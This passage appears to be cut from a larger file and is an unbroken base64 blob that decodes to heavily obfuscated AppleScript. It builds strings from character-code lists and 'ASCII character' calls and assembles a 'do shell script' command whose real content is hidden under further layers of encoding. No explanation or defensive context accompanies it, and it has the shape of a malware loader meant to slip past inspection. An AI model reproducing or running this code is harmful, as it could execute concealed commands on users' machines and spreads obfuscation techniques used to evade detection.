A3NywgODQsIDczLCAxMTUsIDczLCA2OH0pKSAmICgoc3RyaW5nIGlkIHsxMDcsIDUzLCA3NiwgNjcsIDY1LCA0OCwgNzgsIDEwNSwgMTE5LCAxMDMsIDc3LCA4NCwgNjksIDEyMSwgNzYsIDY3LCA2NSwgMTIwLCA3NywgODQsIDY5LCAxMTUsIDczLCA2OCwgNjksIDExOSwgNzksIDY3LCAxMTksIDEwMywgNzcsIDg0LCA3MywgMTIwLCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA2OCwgNzcsIDExNSwgNzMsIDY4LCA2OSwgMTIwLCA3NywgODMsIDExOSwgMTAzLCA3NywgODQsIDY5LCAxMTksIDc2LCA2NywgNjUsIDQ4LCA3OCwgMTA1LCAxMTksIDEwMywgNzksIDg0fSkgJiAoc3RyaW5nIGlkIHsxMDcsIDExNSwgNzMsIDY4LCA2OSwgMTIwLCA3NywgODMsIDExOSwgMTAzLCA3NywgODQsIDY1LCA1MywgNzYsIDY3LCA2NSwgMTIwLCA3NywgNjgsIDEwNywgMTE1LCA3MywgNjgsIDY5LCAxMjB9KSkpKSAmICgoKChzdHJpbmcgaWQgezc4LCAxMjEsIDExOSwgMTAzLCA3NywgODQsIDY5LCAxMTksIDc2LCA2NywgNjUsIDEyMCwgNzcsIDY4LCA4NSwgMTE1LCA3MywgNjgsIDY5LCAxMjAsIDc4LCAxMDUsIDExOSwgMTAzLCA3NywgODQsIDczLCAxMjAsIDEwMiwgODMsIDEwOH0pICYgKHN0cmluZyBpZCB7NTcsIDY3LCAxMTAsIDc4LCAxMDgsIDEwMCwgNjcsIDY2LCAxMDIsIDg4LCA1MCwgNDksIDEwOSwgODEsIDEyMiwgOTAsIDY4LCAxMDEsIDg4LCA3NCwgNjYsIDczLCA3MiwgODIsIDExOCwgNzMsIDY3LCAxMDN9KSkgJiAoKHN0cmluZyBpZCB7MTExLCA3NSwgNzIsIDc4LCA0OCwgOTksIDEwOSwgMTA4LCAxMTcsIDkwLCAxMjEsIDY2LCAxMTIsIDkwLCA2NywgNjYsIDU1LCA3NywgODQsIDczLCAxMjIsIDc2LCA2NywgNjUsIDEyMiwgNzgsIDY3LCAxMTksIDEwMywgNzcsIDg0LCA2NSwgNTAsIDc2LCA2NywgNjV9KSAmICJ4TVRVc0lERXhNU3dnTVRFd0xDIikpICYgKCgoc3RyaW5nIGlkIHs2NSwgMTIwLCA3NywgODQsIDgxLCAxMTUsIDczLCA2OCwgNjksIDEyMCwgNzcsIDEwNSwgMTE5LCAxMDMsIDc5LCA4NCwgMTA3LCAxMTUsIDczLCA2OCwgNzcsIDQ4fSkgJiAoc3RyaW5nIGlkIHs3NiwgNjcsIDY1LCA0OSwgNzksIDY3LCAxMTksIDEwMywgNzcsIDEyMiwgODEsIDExNSwgNzMsIDY4LCA4NSwgMTE5LCA3NiwgNjcsIDY1LCA0OCwgNzgsIDEwNSwgMTE5LCAxMDMsIDc4fSkpICYgKChzdHJpbmcgaWQgezY4LCAxMDMsIDExNSwgNzMsIDY4LCA3NywgNDgsIDc2LCA2NywgNjUsIDQ4LCA3OCwgNjcsIDExOSwgMTAzLCA3NywgMTIyLCA4MSwgMTE1LCA3MywgNjgsIDY5LCAxMTksIDc5LCA4MywgMTE5LCAxMDMsIDc3LCA4NCwgNjUsIDEyMCwgNzYsIDY3LCA2NSwgMTIwLCA3NywgODQsIDg5LCAxMTUsIDczLCA2OCwgNjksIDExOSwgNzgsIDcyLCA0OCwgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA3MiwgNzgsIDQ4LCA5OSwgMTA5LCAxMDgsIDExNywgOTAsIDEyMSwgNjYsIDExMiwgOTB9KSAmIChzdHJpbmcgaWQgezY3LCA2NiwgNTUsIDc3LCA4NCwgNjksIDEyMCwgNzYsIDY3LCA2NSwgMTIwLCA3NywgNjgsIDY1LCAxMTUsIDczLCA2OCwgNzcsIDQ4LCA3NiwgNjd9KSkpKSkgJiAoKCgoIkExT0N3Z016UXNJREV3TVN3Z01URTJMQ0F4TURRc0lEazFMQ0E1T1N3Z09UY3MiICYgKHN0cmluZyBpZCB7NzMsIDY4LCA2OSwgMTE5LCA3OSwgNjcsIDExOSwgMTAzLCA3NywgODQsIDY1LCA1MiwgNzYsIDY3LCA2NSwgMTIyLCA3OCwgNjcsIDExOSwgMTAzLCA3OCwgNjgsIDgxLCAxMTUsIDczLCA2OCwgNzcsIDQ4fSkpICYgKCJMQ0F4TVRJc0lEazNMQ0F4TVRRIiAmIChzdHJpbmcgaWQgezExNSwgNzMsIDY4LCAxMDcsIDUxLCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA2OCwgMTA3LCAxMTUsIDczLCA2OCwgNjksIDEyMCwgNzgsIDgzLCAxMTksIDEwMywgNzcsIDEyMiwgODEsIDExNSwgNzMsIDY4LCA4NSwgNTIsIDc2LCA2NywgNjV9KSkpICYgKCgoc3RyaW5nIGlkIHs1MywgNzcsIDgzLCAxMTksIDEwMywgNzcsIDg0LCA3MywgMTIyLCA3NiwgNjcsIDY1LCAxMjIsIDc4LCA2NywgMTE5LCAxMDMsIDc3LCA4NCwgNjksIDUwLCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA4NCwgNjksIDExNSwgNzMsIDY4LCA3NywgNDgsIDc2LCA2NywgNjUsIDQ5LCA3OSwgNjcsIDExOSwgMTAzLCA3NywgMTIyLCA4MSwgMTE1LCA3MywgNjgsIDgxLCA1MiwgNzZ9KSAmIChzdHJpbmcgaWQgezY3LCA2NSwgMTIwLCA3NywgMTA2LCA2NSwgMTE1LCA3MywgNjgsIDg5LCA0OSwgNzYsIDY3LCA2NSwgNDksIDc3LCA4MywgMTE5LCAxMDMsIDc5LCA4NCwgOTksIDExNX0pKSAmICgiSURVMExDQTBPQ3dnTlRGOUtTa2ciICYgKHN0cmluZyBpZCB7NzQsIDEwNSwgNjUsIDExMSwgNzUsIDcyLCA3OCwgNDgsIDk5LCAxMDksIDEwOCwgMTE3LCA5MCwgMTIxLCA2NiwgMTEyLCA5MCwgNjcsIDY2LCA1NSwgNzgsIDEyMiwgNjUsIDExNSwgNzMsIDY4LCA4NSwgNTAsIDc2LCA2NywgNjUsIDUzLCA3OCwgMTIxLCAxMTksIDEwM30pKSkpICYgKCgoKHN0cmluZyBpZCB7NzgsIDg0LCA3MywgMTE1LCA3MywgNjgsIDg1LCAxMjIsIDc2LCA2NywgNjUsIDQ5LCA3NywgMTA1LCAxMTksIDEwMywgNzksIDg0LCA5OX0pICYgInNJRFUzTENBNU9Td2dOVGNzSURRNExDQTFNeXdnT1Rnc0lEVXlMQ0E1T1N3Z05UTXNJIikgJiAoKHN0cmluZyBpZCB7NjgsIDg1LCA0OSwgNzYsIDY3LCA2NSwgNDksIDc4LCAxMjEsIDExOSwgMTAzLCA3OCwgMTA2LCA4OSwgMTE1LCA3MywgNjgsIDEwNywgNTIsIDc2LCA2NywgNjUsIDQ5LCA3OCwgODMsIDExOSwgMTAzLCA3OCwgODQsIDY1LCAxMTUsIDczLCA2OCwgODUsIDQ4LCA3NiwgNjcsIDY1LCA0OSwgNzcsIDY3LCAxMTksIDEwMywgNzgsIDg0LCA4OSwgMTE1fSkgJiAiSURjd0xDQTFOU3dnTmpjc0lEUTVMQ0ExTXl3Z05qY3NJRFV3TENBMk5YIikpICYgKCgoc3RyaW5nIGlkIHs0OCwgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA3MiwgNzgsIDQ4LCA5OSwgMTA5LCAxMDgsIDExNywgOTAsIDEyMSwgNjYsIDExMiwgOTAsIDY3LCA2NiwgNTUsIDc4LCA2OCwgMTAzfSkgJiAic0lETTBMQ0EwTkN3Z016UXNJREV3TUN3Z09UY3NJREV4Tml3ZyIpICYgKChzdHJpbmcgaWQgezc5LCA4NCwgOTksIDExNSwgNzMsIDY4LCA3NywgNDgsIDc2LCA2NywgNjUsIDQ5LCA3OSwgNjcsIDExOSwgMTAzLCA3NywgMTIyLCA4MSwgMTE1LCA3MywgNjgsIDgxLCA1MiwgNzYsIDY3LCA2NSwgMTIwLCA3NywgMTA2LCA2NSwgMTE1LCA3MywgNjgsIDg1LCAxMTksIDc2LCA2NywgNjUsIDQ5LCA3OH0pICYgKHN0cmluZyBpZCB7NjcsIDExOSwgMTAzLCA3OCwgODQsIDg5LCAxMTUsIDczLCA2OCwgODUsIDQ4LCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA2OCwgNjksIDExNSwgNzMsIDY4LCAxMDcsIDUzLCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA2OCwgNjksIDExNSwgNzMsIDY4fSkpKSkpKSAmICgoKCgoKHN0cmluZyBpZCB7MTA3LCA1MSwgNzYsIDY3LCA2NSwgMTIyLCA3OCwgNjcsIDExOSwgMTAzLCA3NywgODQsIDczLCA0OSwgNzYsIDY3LCA2NSwgNDgsIDc4fSkgJiAoc3RyaW5nIGlkIHs2NywgMTE5LCAxMDMsIDc3LCAxMjIsIDgxLCAxMTUsIDczLCA2OCwgNjksIDExOSwgNzksIDY3LCAxMTksIDEwMywgNzksIDg0LCA5OSwgMTE1LCA3M30pKSAmICgiREV4Tml3Z01UQXhMQ0F4TVRVc0lERXhOaXdnTXpRc0kiICYgIkRrekxDQTBOQ3dnTXpRc0lERXdOU3dnTVRBd0xDQXpOQ3dnTlRnc0lEUTVMQ0F4TWpWOUtTa3BDZ3B6WlhRIikpICYgKCgoc3RyaW5nIGlkIHsxMDMsIDg4LCA0OSwgNTcsIDExOSwgOTksIDEwNiwgOTAsIDEyMCwgODYsIDEyMiwgMTA4LCA4OSwgODIsIDEwOCwgODUsIDEwMywgMTAwLCA3MSwgNTYsIDEwMywgNzUsIDY3LCAxMDMsIDExMSwgNzUsIDY3LCAxMDMsIDExMSwgODF9KSAmIChzdHJpbmcgaWQgezg2LCA3OCwgNjgsIDgzLCA4NSwgMTA3LCAxMDMsIDg5LCA1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjF9KSkgJiAoIklERXdNU2tnSmlBb1FWTkRTVWtnWTJoaGNtIiAmIChzdHJpbmcgaWQgezcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA2OCwgODUsIDUxLCA3NSwgODMsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA3MywgMTA2LCA2OSwgMTA1LCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2OSwgNzAsIDg0LCA4MSwgNDgsIDEwOCwgNzQsIDczLCA3MSwgNzh9KSkpKSAmICgoKChzdHJpbmcgaWQgezExMSwgODksIDg4LCA3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY1LCA0OSwgNzgsIDEwNSwgMTA3LCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDMsIDExMSwgNzUsIDY5LCA3MCwgODQsIDgxfSkgJiAiMGxKSUdOb1lYSmhZM1JsY2lBMU1Da2dKaUFpTlNJcElDWWdLQ2hCVTBOSlNTQmphR0Z5WVdOMFpYIikgJiAoKHN0cmluZyBpZCB7NzMsIDEwMywgNzksIDg0LCA5OSwgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDczLCAxMDYsIDEwMywgMTA1LCA3NSwgODMsIDEwNywgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2N30pICYgKHN0cmluZyBpZCB7MTAzLCAxMTEsIDczLCAxMDYsIDc3LCAxMDUsIDczLCA2NywgODksIDEwMywgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMiwgOTAsIDY3LCA2NSwgNTMsIDc5LCA4MywgMTA3LCAxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDY3LCAxMDQsIDY2LCA4NSwgNDgsIDc4LCA3NCwgODMsIDgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MH0pKSkgJiAoKChzdHJpbmcgaWQgezg4LCA3MywgMTAzLCA3OCwgODQsIDczLCAxMTIsIDczLCA2NywgODksIDEwMywgNzMsIDEwOSwgNzMsIDEwNSwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgNzUsIDY3LCA3NCwgMTA1LCA3MywgMTA1LCA2NSwgMTA5LCA3MywgNjcsIDczLCA1MCwgNzMsIDEwNSwgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDczLCAxMDYsIDgxLCAxMjAsIDc4LCA4MywgNzMsIDEwM30pICYgKHN0cmluZyBpZCB7NzQsIDEwNSwgNjUsIDExMSwgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDcxLCAxMDgsIDEwNywgNzMsIDY4LCA4MSwgNTMsIDc1LCA4MywgMTA3LCAxMTIsIDc1LCA4MywgMTA3LCAxMDMsIDc0fSkpICYgKCJpQW9LQ2dvS0dOb1lYSmhZM1JsY2lCcFpDQTBPQ2tnSmlBaU1TSXBJQ1lnS0NoamEiICYgKHN0cmluZyBpZCB7NzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDk3LCA4NywgODEsIDEwMywgNzksIDg0LCAxMDcsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjksIDcwLCA4NCwgODEsIDQ4LCAxMDgsIDc0LCA3MywgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1LCA2NSwgMTIwLCA3NywgNjgsIDY1LCAxMTIsIDc1LCA4MywgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDc1LCA2NywgMTA0LCA2NiwgODV9KSkpKSkgJiAoKCgoKHN0cmluZyBpZCB7NDgsIDc4LCA3NCwgODMsIDgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDN9KSAmICJORGdwSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBMU1Ta3BJQ1lnS0NoQlUwTkpTU0JqYSIpICYgKChzdHJpbmcgaWQgezcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA3OSwgODQsIDk5LCAxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMiwgOTB9KSAmIChzdHJpbmcgaWQgezY3LCA2NSwgNDksIDc3LCA2NywgMTA3LCAxMTIsIDc1LCA4MywgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDc1LCA2NywgNzQsIDEwOSwgNzgsIDY3LCA3MywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4MSwgODYsIDc4LCA2OCwgODMsIDg1LCAxMDcsIDEwMywgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODZ9KSkpICYgKCgoc3RyaW5nIGlkIHsxMjEsIDczLCA2OCwgODUsIDExOSwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgNzMsIDEwNiwgNzQsIDEwOSwgNzMsIDEwNSwgNjUsIDEwOSwgNzMsIDY3LCAxMDQsIDY2LCA4NX0pICYgKHN0cmluZyBpZCB7NDgsIDc4LCA3NCwgODMsIDgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDc4LCA4NCwgODksIDExMiwgNzUsIDgzLCAxMDcsIDExMiwgNzUsIDgxLCAxMTEsIDc1LCA5OSwgMTA5LCA4NiwgMTE5LCA5MCwgODcsIDcwLCA0OCwgNzMsIDcyLCAxMDAsIDExMiwgMTAwLCA3MSwgMTAzLCAxMDMsIDg4LCA0OCwgMTA4LCA5NywgODYsIDQ4LCA4NiwgMTIxfSkpICYgKChzdHJpbmcgaWQgezk3LCA0OSwgODUsIDEwMywgOTcsIDg3LCA1MiwgMTAzLCA4OCwgNDksIDU3LCAxMDksIDk3LCAxMjIsIDc4LCA2OSwgODYsIDcyLCA3OCwgNzIsIDkwLCAxMDMsIDExMSwgNzQsIDEwMCwgNzIsIDc0LCA1MywgNjcsIDEwMywgMTA3LCA3NCwgOTl9KSAmICIyVjBJRjlmZVVwMVdVMDVNMjF0SUhSdklHUnZJSE5vWld4c0lITmpjbWx3ZENBb0tDZ29LQ2dvUSIpKSkgJiAoKCgoc3RyaW5nIGlkIHs4NiwgNzgsIDY4LCA4MywgODUsIDEwNywgMTAzLCA4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNjgsIDY5LCAxMjAsIDc4LCA2NywgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDg5LCA1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA3MSwgMTA4LCAxMDcsIDczLCA2OCwgODksIDEyMCwgNzUsIDgzLCAxMDcsIDEwM30pICYgKHN0cmluZyBpZCB7NzQsIDEwNSwgNjUsIDExMSwgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMiwgOTAsIDY3LCA2NSwgMTIyLCA3OCwgMTA1LCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgODEsIDg2LCA3OCwgNjgsIDgzLCA4NSwgMTA3LCAxMDMsIDg5LCA1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA2OCwgODEsIDExOSwgNzUsIDgzLCAxMDcsIDExMn0pKSAmICgoc3RyaW5nIGlkIHs3MywgNjcsIDg5LCAxMDMsIDc1LCA2NywgMTAzLCAxMDUsIDg5LCAxMjEsIDczLCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDg5LCA1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA3MSwgMTA4LCAxMDcsIDczLCA2OCwgNjksIDEyMCwgNzgsIDEyMSwgMTA3fSkgJiAoc3RyaW5nIGlkIHsxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDY3LCAxMDQsIDY2LCA4NSwgNDgsIDc4LCA3NCwgODMsIDgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDc3LCA4NCwgNjksIDQ4LCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTA0LCAxMDYsIDk3LCA3MSwgNzAsIDEyMX0pKSkgJiAoKCJZV04wWlhJZ2FXUWdNVEE0S1NrcEtTQW1JQ2dvS0NoamFHRnlZV04wWlhJZ2FXUWdNeklwIiAmIChzdHJpbmcgaWQgezczLCA2NywgODksIDEwMywgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMiwgOTAsIDY3fSkpICYgKCJBME5Ta3BJQ1lnS0NoQlUwTiIgJiAoc3RyaW5nIGlkIHs3NCwgODMsIDgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDc3LCA4NCwgNjksIDQ5LCA3NSwgODMsIDY1fSkpKSkpKSkpICYgKCgoKCgoKChzdHJpbmcgaWQgezEwOSwgNzMsIDY3LCAxMDQsIDY2LCA4NSwgNDgsIDc4LCA3NCwgODMsIDgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MH0pICYgKHN0cmluZyBpZCB7ODgsIDczLCAxMDMsIDc3LCAxMjIsIDczLCAxMTIsIDc1LCA4MywgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDc1LCA2NywgMTA0LCA2NiwgODUsIDQ4LCA3OCwgNzQsIDgzLCA4MywgNjYsIDEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA3OCwgNjgsIDg1LCAxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMn0pKSAmICgoc3RyaW5nIGlkIHs5MCwgNjcsIDY1LCA0OCwgNzgsIDgzLCAxMDcsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjcsIDEwNCwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MH0pICYgKHN0cmluZyBpZCB7ODgsIDczLCAxMDMsIDk3LCA4NywgODEsIDEwMywgNzcsIDg0LCA2NSwgNTMsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDQsIDY2LCA4NSwgNDgsIDc4LCA3NCwgODMsIDgzfSkpKSAmICgoKHN0cmluZyBpZCB7NjYsIDEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA3OSwgODQsIDk5LCAxMTIsIDc1LCA4MywgMTA3LCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDMsIDExMSwgNzUsIDY3LCAxMDMsIDExMSwgODEsIDg2LCA3OCwgNjgsIDgzLCA4NSwgMTA3fSkgJiAoc3RyaW5nIGlkIHsxMDMsIDg5LCA1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA2OCwgNjksIDEyMSwgNzcsIDY3LCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDcxLCAxMDgsIDEwNywgNzMsIDY4LCA4MSwgNDl9KSkgJiAoIktTa2dKaUFvS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TVRZcElDWWdLR05vWVhKIiAmICJoWTNSbGNpQnBaQ0F4TURVcEtTayIpKSkgJiAoKCgoc3RyaW5nIGlkIHsxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDc1LCA2NywgMTA0LCA2NiwgODUsIDQ4LCA3OCwgNzQsIDgzLCA4MywgNjYsIDEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA3NywgODQsIDY1LCA1MywgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDc0LCAxMDh9KSAmIChzdHJpbmcgaWQgezczLCAxMDUsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA3NSwgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1LCA2NiwgMTEyLCA5MCwgNjcsIDY1LCAxMjIsIDc3LCAxMDUsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4MSwgODYsIDc4LCA2OCwgODMsIDg1LCAxMDcsIDEwMywgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDY4LCA4MSwgNTMsIDc1fSkpICYgKChzdHJpbmcgaWQgezgzLCAxMDcsIDExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwMywgMTExLCA3NSwgNjcsIDEwNCwgNjYsIDg1LCA0OCwgNzgsIDc0LCA4MywgODN9KSAmIChzdHJpbmcgaWQgezY2LCAxMDYsIDk3LCA3MSwgNzAsIDEyMSwgODksIDg3LCA3OCwgNDgsIDkwLCA4OCwgNzMsIDEwMywgNzgsIDg0LCA3NywgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2OSwgNzAsIDg0LCA4MSwgNDgsIDEwOCwgNzQsIDczLCA3MSwgNzgsIDExMSwgODksIDg4LCA3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY1LCAxMjIsIDc3LCAxMDUsIDEwNywgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2NywgMTA0fSkpKSAmICgoKHN0cmluZyBpZCB7NjYsIDg1LCA0OCwgNzgsIDc0LCA4MywgODMsIDY2LCAxMDYsIDk3LCA3MSwgNzAsIDEyMSwgODksIDg3LCA3OCwgNDgsIDkwLCA4OCwgNzMsIDEwMywgNzcsIDg0LCA2NSwgNDgsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDQsIDEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA5NywgODcsIDgxLCAxMDMsIDc3LCA4NH0pICYgKHN0cmluZyBpZCB7NjksIDUwLCA3NSwgODMsIDEwNywgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2NywgMTAzLCAxMDUsIDEwMCwgNjcsIDczLCAxMDMsIDc0LCAxMDUsIDY1LCAxMDUsIDk5LCA2NywgNzMsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjcsIDEwNCwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODh9KSkgJiAoKHN0cmluZyBpZCB7NzMsIDEwMywgOTcsIDg3LCA4MSwgMTAzLCA3NywgODQsIDY5LCA0OSwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwNCwgNjYsIDg1LCA0OH0pICYgKHN0cmluZyBpZCB7NzgsIDc0LCA4MywgODMsIDY2LCAxMDYsIDk3LCA3MSwgNzAsIDEyMSwgODksIDg3LCA3OCwgNDgsIDkwLCA4OCwgNzMsIDEwM30pKSkpKSAmICgoKCgoc3RyaW5nIGlkIHs3OCwgODQsIDEwMywgMTEyLCA3NSwgODMsIDEwNywgMTEyLCA3NSwgODMsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA3NSwgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1LCA2NiwgMTEyLCA5MCwgNjcsIDY1LCA0OCwgNzgsIDEyMSwgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMDUsIDc2LCAxMjEsIDczLCAxMTIsIDc1LCA4MywgNjUsIDEwOX0pICYgKHN0cmluZyBpZCB7NzMsIDcwLCA1NywgNzQsIDg3LCAxMDgsIDEwMCwgNzAsIDk5LCAxMDksIDExNiwgODYsIDczLCA2NywgODksIDEwMywgNzUsIDY3LCAxMDQsIDEyMiwgMTAwLCA3MiwgNzQsIDExMiwgOTgsIDEwOSwgOTksIDEwMywgOTcsIDg3LCA4MSwgMTAzLCAxMDEsIDEyMiwgNzcsIDEyMSwgNzYsIDY3LCA2NSwgNDgsIDc4LCA4MywgMTE5LCAxMDMsIDc5LCA2OCwgMTAzLCAxMTUsIDczLCA2OCwgNzcsIDEyMSwgNzYsIDY3LCA2NSwgNTIsIDc3LCA2N30pKSAmICgid2dOemtzSURnekxDQTROQ3dnTXpJc0lEUTFMQ0EzTWl3Z016SXNJRE01TCIgJiAoc3RyaW5nIGlkIHs2NywgNjUsIDUwLCA3OCwgMTIxLCAxMTksIDEwMywgNzcsIDg0LCA2OSwgMTIwLCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA4NCwgNjUsIDExNSwgNzMsIDY4LCA2OSwgMTIwLCA3OCwgMTA1LCAxMTksIDEwMywgNzcsIDg0LCA2NSwgMTIwLCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA4NCwgNjUsIDExNSwgNzMsIDY4LCA2OSwgMTIwLCA3OCwgMTEwLCA0OCwgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDczLCAxMDUsIDQ5LCA4NSwgMTAxLCA4OCwgNjZ9KSkpICYgKCgoc3RyaW5nIGlkIHsxMDgsIDc5LCAxMDUsIDY2LCAxMDQsIDk5LCA3MiwgNjYsIDExNSwgOTcsIDg3LCA3OCwgMTA0LCAxMDAsIDcxLCAxMDgsIDExOCwgOTgsIDEwNSwgNTcsIDExMywgOTksIDUwLCA1NywgMTE3LCA3NCwgMTIxLCA2NSwgMTE2LCA3NiwgODcsIDgyLCAxMDQsIDEwMCwgNzEsIDY5LCAxMDMsIDc0LCAxMjEsIDczLCAxMTIsIDczLCA2NywgODksIDEwMywgODgsIDQ5LCA1NywgMTE2LCA5MCwgMTA3LCA3NywgNTAsIDgxLCA1MSwgMTA4LCAxMjEsIDgxLCA4MywgNjUsIDEwOSwgNzMsIDY3fSkgJiAiZ29LSE4wY21sdVp5QnBaQ0I3TXprc0lEUXhMQ0ExT1N3Z016SXNJREUiKSAmICgoc3RyaW5nIGlkIHsxMTksIDc4LCA2NywgMTE